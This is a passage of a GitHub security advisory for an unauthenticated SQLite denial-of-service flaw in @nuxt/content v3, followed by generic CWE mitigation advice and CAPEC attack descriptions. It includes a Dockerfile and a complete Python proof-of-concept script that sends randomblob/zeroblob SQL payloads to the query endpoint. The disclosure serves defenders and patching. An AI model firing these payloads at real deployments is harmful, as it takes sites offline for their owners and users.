unsafe SQL expressions\u0027)\n+    }\n   }\n```\n\n### Impact\n\nThis is an unauthenticated remote denial-of-service vulnerability. Any internet-accessible `@nuxt/content` application using the default SQLite/D1 adapter (i.e., the vast majority of deployments, since this is the default runtime) exposes the vulnerable endpoint without authentication at `POST /__nuxt_content/\u003ccollection\u003e/query`.\n\nBecause `better-sqlite3` executes queries synchronously and blocks the Node.js event loop, a single malicious request with a large `randomblob()` argument prevents the server from processing any other requests for the duration of that query. An attacker sending a continuous stream of such requests can sustain a complete denial of service with minimal bandwidth.\n\nImpact scope:\n- **Confidentiality:** None \u2014 the attack does not exfiltrate data\n- **Integrity:** None \u2014 no data modification\n- **Availability:** High \u2014 complete service disruption for unauthenticated attackers with network access\n\nAll users of publicly deployed `@nuxt/content` v3 applications (SSR or server-side rendered static sites that retain the API route) are affected without any prerequisite authentication or prior knowledge of the application.\n\n### Reproduction artifacts\n\n#### `Dockerfile`\n\n```dockerfile\n# VULN-001: Unauthenticated SQLite Function DoS via @nuxt/content Content Query API\n# Affects: @nuxt/content v3.15.1 (commit d8fed0c)\n#\n# Build context must be the parent directory (github_web_211_nuxt__content/):\n#   docker build -f vuln-001/Dockerfile -t vuln001:latest .\n\nFROM node:20-alpine\n\n# Install build tools required for better-sqlite3 native compilation\nRUN apk add --no-cache python3 make g++\n\nWORKDIR /app\n\n# Copy the vulnerable source files from the repo for audit reference\n# These are the exact files that contain the vulnerable code paths\nCOPY repo/src/runtime/internal/security.ts    /app/reference/security.ts\nCOPY repo/src/runtime/api/query.post.ts       /app/reference/query.post.ts\nCOPY repo/src/runtime/internal/database.server.ts /app/reference/database.server.ts\n\n# Copy the minimal reproduction server (JavaScript translation of the above)\nCOPY vuln-001/server.js /app/server.js\n\n# Install Node.js dependencies\n# better-sqlite3: same SQLite library used by @nuxt/content local SQLite adapter\nRUN npm init -y \u0026\u0026 npm install better-sqlite3@12.5.0\n\nEXPOSE 3000\n\nCMD [\"node\", \"server.js\"]\n```\n\n#### `poc.py`\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nPoC: VULN-001 \u2014 Unauthenticated SQLite Function DoS via @nuxt/content Content Query API\n\nVulnerability: The POST /__nuxt_content/:collection/query endpoint reads an\nattacker-supplied \u0027sql\u0027 field from the request body, passes it through\nassertSafeQuery() in security.ts, then executes it via better-sqlite3.\nassertSafeQuery() only rejects certain SQL command keywords\n(SELECT|INSERT|UPDATE|DELETE|DROP|ALTER|$) but does NOT block SQLite\nbuilt-in functions such as randomblob(), zeroblob(), hex(), or length().\n\nAttack payload: SELECT * FROM _content_content\n                WHERE (length(hex(randomblob(100000000))) \u003e 0)\n                ORDER BY stem ASC LIMIT 1\n\nThis forces SQLite to:\n  1. Allocate 100 MB of random bytes via randomblob(100000000)\n  2. Hex-encode the result to a 200 MB ASCII string via hex()\n  3. Compute the string length via length()\n\nThe request blocks the server thread for several seconds per request.\nRepeated unauthenticated requests exhaust CPU and memory, causing DoS.\n\nAffected: @nuxt/content v3.15.1 (commit d8fed0c)\nSource:   src/runtime/internal/security.ts:55-63\n          src/runtime/api/query.post.ts:8,11,18\n          src/runtime/internal/database.server.ts:27\nCVSS:     7.5 (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)\n\"\"\"\n\nimport argparse\nimport json\nimport sys\nimport time\nimport urllib.error\nimport urllib.request\n\nDEFAULT_HOST = \u0027127.0.0.1\u0027\nDEFAULT_PORT = 3000\n\n# Time threshold: attack must be at least this many seconds slower than baseline\nATTACK_MIN_SECONDS = 0.5\n\n# SQL payloads\nSAFE_SQL = (\n    \"SELECT * FROM _content_content \"\n    \"WHERE (id = \u00271\u0027) \"\n    \"ORDER BY stem ASC LIMIT 1\"\n)\n\n# Malicious payload: passes assertSafeQuery() but forces expensive SQLite computation.\n# randomblob(100_000_000) -\u003e 100 MB allocation\n# hex(...)               -\u003e 200 MB hex string\n# length(...)            -\u003e string length computation\nMALICIOUS_SQL = (\n    \"SELECT * FROM _content_content \"\n    \"WHERE (length(hex(randomblob(100000000))) \u003e 0) \"\n    \"ORDER BY stem ASC LIMIT 1\"\n)\n\n# Zeroblob variant (allocation-focused, less CPU than hex):\nZEROBLOB_SQL = (\n    \"SELECT * FROM _content_content \"\n    \"WHERE (zeroblob(500000000) IS NOT NULL) \"\n    \"ORDER BY stem ASC LIMIT 1\"\n)\n\n\ndef post_query(host, port, sql, timeout=120):\n    \"\"\"Send POST /__nuxt_content/content/query and return (status, elapsed, body).\"\"\"\n    payload = json.dumps({\"sql\": sql}).encode(\"utf-8\")\n    req = urllib.request.Request(\n        f\"http://{host}:{port}/__nuxt_content/content/query\",\n        data=payload,\n        headers={\"Content-Type\": \"application/json\"},\n        method=\"POST\",\n    )\n    t0 = time.monotonic()\n    try:\n        with urllib.request.urlopen(req, timeout=timeout) as resp:\n            elapsed = time.monotonic() - t0\n            body = resp.read().decode(\"utf-8\")\n            return resp.status, elapsed, body\n    except urllib.error.HTTPError as e:\n        elapsed = time.monotonic() - t0\n        body = e.read().decode(\"utf-8\")\n        return e.code, elapsed, body\n    except Exception as e:\n        elapsed = time.monotonic() - t0\n        return None, elapsed, str(e)\n\n\ndef wait_for_server(host, port, retries=30, delay=1.0):\n    \"\"\"Poll until the server responds or timeout.\"\"\"\n    print(f\"[*] Waiting for server at {host}:{port} ...\")\n    for attempt in range(1, retries + 1):\n        try:\n            urllib.request.urlopen(\n                f\"http://{host}:{port}/\", timeout=2\n            )\n        except urllib.error.HTTPError:\n            # Any HTTP response (including 404) means the server is up\n            print(f\"[+] Server is ready (attempt {attempt})\")\n            return True\n        except Exception:\n            pass\n        time.sleep(delay)\n    print(f\"[!] Server did not become ready after {retries} attempts\")\n    return False\n\n\ndef main():\n    parser = argparse.ArgumentParser(\n        description=\"VULN-001 PoC: SQLite Function DoS via @nuxt/content query API\"\n    )\n    parser.add_argument(\"--host\", default=DEFAULT_HOST, help=\"Target host (default: 127.0.0.1)\")\n    parser.add_argument(\"--port\", type=int, default=DEFAULT_PORT, help=\"Target port (default: 3000)\")\n    parser.add_argument(\n        \"--no-wait\",\n        action=\"store_true\",\n        help=\"Skip server readiness check (useful when server is already running)\",\n    )\n    args = parser.parse_args()\n\n    host, port = args.host, args.port\n\n    print(\"=\" * 70)\n    print(\"VULN-001: Unauthenticated SQLite Function DoS\")\n    print(\"Target: @nuxt/content v3.15.1 \u2014 POST /__nuxt_content/:collection/query\")\n    print(\"=\" * 70)\n\n    if not args.no_wait:\n        if not wait_for_server(host, port):\n            sys.exit(2)\n\n    # ------------------------------------------------------------------\n    # Step 1: Safe baseline query \u2014 validates endpoint is reachable\n    # ------------------------------------------------------------------\n    print()\n    print(\"[STEP 1] Baseline safe query\")\n    print(f\"  SQL: {SAFE_SQL}\")\n    status1, t1, body1 = post_query(host, port, SAFE_SQL)\n    print(f\"  Status: {status1}   Time: {t1:.4f}s\")\n    if status1 == 200:\n        rows1 = json.loads(body1)\n        print(f\"  Rows returned: {len(rows1)}\")\n    else:\n        print(f\"  Response: {body1[:200]}\")\n\n    # ------------------------------------------------------------------\n    # Step 2: Malicious payload \u2014 SQLite function DoS\n    # ------------------------------------------------------------------\n    print()\n    print(\"[STEP 2] Malicious SQLite function payload\")\n    print(f\"  SQL: {MALICIOUS_SQL}\")\n    print(\"  Explanation:\")\n    print(\"    randomblob(100000000) -\u003e allocates 100 MB of random bytes\")\n    print(\"    hex(...)              -\u003e encodes to 200 MB ASCII string\")\n    print(\"    length(...)           -\u003e forces full evaluation before comparison\")\n    print(\"    assertSafeQuery() passes: no SQL_COMMANDS keyword found in WHERE\")\n    print(\"    Sink: better-sqlite3 db.prepare(sql).all() executes unconditionally\")\n    print()\n    print(\"  Sending request ...\")\n    status2, t2, body2 = post_query(host, port, MALICIOUS_SQL)\n    print(f\"  Status: {status2}   Time: {t2:.4f}s\")\n    if status2 == 200:\n        rows2 = json.loads(body2)\n        print(f\"  Rows returned: {len(rows2)}  (assertSafeQuery() did NOT reject this query)\")\n    else:\n        print(f\"  Response: {body2[:200]}\")\n\n    # ------------------------------------------------------------------\n    # Step 3: Report\n    # ------------------------------------------------------------------\n    print()\n    print(\"[RESULT]\")\n    print(f\"  Baseline time  : {t1:.4f}s\")\n    print(f\"  Attack time    : {t2:.4f}s\")\n    ratio = (t2 / t1) if t1 \u003e 0 else float(\"inf\")\n    print(f\"  Slowdown ratio : {ratio:.1f}x\")\n    print()\n\n    accepted = status2 == 200\n    slow_enough = t2 \u003e= ATTACK_MIN_SECONDS\n\n    if accepted and slow_enough:\n        print(\"[PASS] VULNERABILITY CONFIRMED\")\n        print(f\"  1. assertSafeQuery() ACCEPTED the malicious payload (no 400 error)\")\n        print(f\"  2. SQLite executed randomblob(100000000); observed {t2:.4f}s execution time\")\n        print(f\"  3. Time delta confirms resource exhaustion: {t2:.4f}s vs baseline {t1:.4f}s\")\n        print(f\"  4. Unauthenticated attacker can chain requests to exhaust server CPU/memory\")\n        sys.exit(0)\n    elif accepted and not slow_enough:\n        print(\"[WARN] Payload was ACCEPTED but execution was faster than threshold\")\n        print(f\"  accepted={accepted}, time={t2:.4f}s, threshold={ATTACK_MIN_SECONDS}s\")\n        print(\"  Try increasing the blob size in MALICIOUS_SQL (e.g. 200000000)\")\n        sys.exit(1)\n    else:\n        print(f\"[FAIL] Unexpected result: accepted={accepted}, time={t2:.4f}s\")\n        print(f\"  Response body: {body2[:300]}\")\n        sys.exit(1)\n\n\nif __name__ == \"__main__\":\n    main()\n```\n\n### Affected versions\nAll `@nuxt/content` v3 releases before `3.15.2` are affected (`\u003e= 3.0.0, \u003c 3.15.2`). The report was reproduced against `3.15.1`, but the same `WHERE` clause validation gap exists in every earlier v3 release; `3.0.0` performed no query validation at all.\n\nFully static (prerendered, no server) deployments are not affected.\n\n### Patches\nFixed in `3.15.2` (#3819): function calls are rejected in query `WHERE` clauses. Subsequent releases harden validation further \u2014 `3.16.1` removes a ReDoS in `assertSafeQuery` (#3851) and `3.16.2` only accepts `WHERE` clauses matching the exact output of the query builder (#3862, #3877). Upgrading to the latest version (`\u003e= 3.16.2`) is recommended.\n\n### Workarounds\nIf you cannot upgrade, block or restrict access to `POST /__nuxt_content/*/query` at the proxy/WAF level, or prerender the site so the endpoint is not deployed.\n\n### Credits\nAlso independently reported by @Pig-Tail (GHSA-c739-vwm9-rgx3) and @maru1009 (as part of GHSA-wjh8-qcrm-wf29).",
  "id": "GHSA-xxrh-5hgg-gj4h",
  "modified": "2026-11-10T15:57:12Z",
  "published": "2026-11-10T15:57:12Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/nuxt/content/security/advisories/GHSA-xxrh-5hgg-gj4h"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-102650"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nuxt/content/pull/3819"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nuxt/content/commit/847d523a48e76d861175b325abf0de40dc5864ed"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/nuxt/content"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nuxt/content/releases/tag/v3.15.2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Nuxt Content: Unauthenticated SQLite Function DoS via Content Query API"
}

Mitigation
Architecture and Design

Design throttling mechanisms into the system architecture. The best protection is to limit the amount of resources that an unauthorized user can cause to be expended. A strong authentication and access control model will help prevent such attacks from occurring in the first place. The login application should be protected against DoS attacks as much as possible. Limiting the database access, perhaps by caching result sets, can help minimize the resources expended. To further limit the potential for a DoS attack, consider tracking the rate of requests received from users and blocking requests that exceed a defined rate threshold.

Mitigation
Architecture and Design
  • Mitigation of resource exhaustion attacks requires that the target system either:
  • recognizes the attack and denies that user further access for a given amount of time, or
  • uniformly throttles all requests in order to make it more difficult to consume resources more quickly than they can again be freed.
  • The first of these solutions is an issue in itself though, since it may allow attackers to prevent the use of the system by a particular valid user. If the attacker impersonates the valid user, they may be able to prevent the user from accessing the server in question.
  • The second solution is simply difficult to effectively institute -- and even when properly done, it does not provide a full solution. It simply makes the attack require more resources on the part of the attacker.
Mitigation
Architecture and Design

Ensure that protocols have specific limits of scale placed on them.

Mitigation
Implementation

Ensure that all failures in resource allocation place the system into a safe posture.

CAPEC-147: XML Ping of the Death

An attacker initiates a resource depletion attack where a large number of small XML messages are delivered at a sufficiently rapid rate to cause a denial of service or crash of the target. Transactions such as repetitive SOAP transactions can deplete resources faster than a simple flooding attack because of the additional resources used by the SOAP protocol and the resources necessary to process SOAP messages. The transactions used are immaterial as long as they cause resource utilization on the target. In other words, this is a normal flooding attack augmented by using messages that will require extra processing on the target.

CAPEC-227: Sustained Client Engagement

An adversary attempts to deny legitimate users access to a resource by continually engaging a specific resource in an attempt to keep the resource tied up as long as possible. The adversary's primary goal is not to crash or flood the target, which would alert defenders; rather it is to repeatedly perform actions or abuse algorithmic flaws such that a given resource is tied up and not available to a legitimate user. By carefully crafting a requests that keep the resource engaged through what is seemingly benign requests, legitimate users are limited or completely denied access to the resource.

CAPEC-492: Regular Expression Exponential Blowup

An adversary may execute an attack on a program that uses a poor Regular Expression(Regex) implementation by choosing input that results in an extreme situation for the Regex. A typical extreme situation operates at exponential time compared to the input size. This is due to most implementations using a Nondeterministic Finite Automaton(NFA) state machine to be built by the Regex algorithm since NFA allows backtracking and thus more complex regular expressions.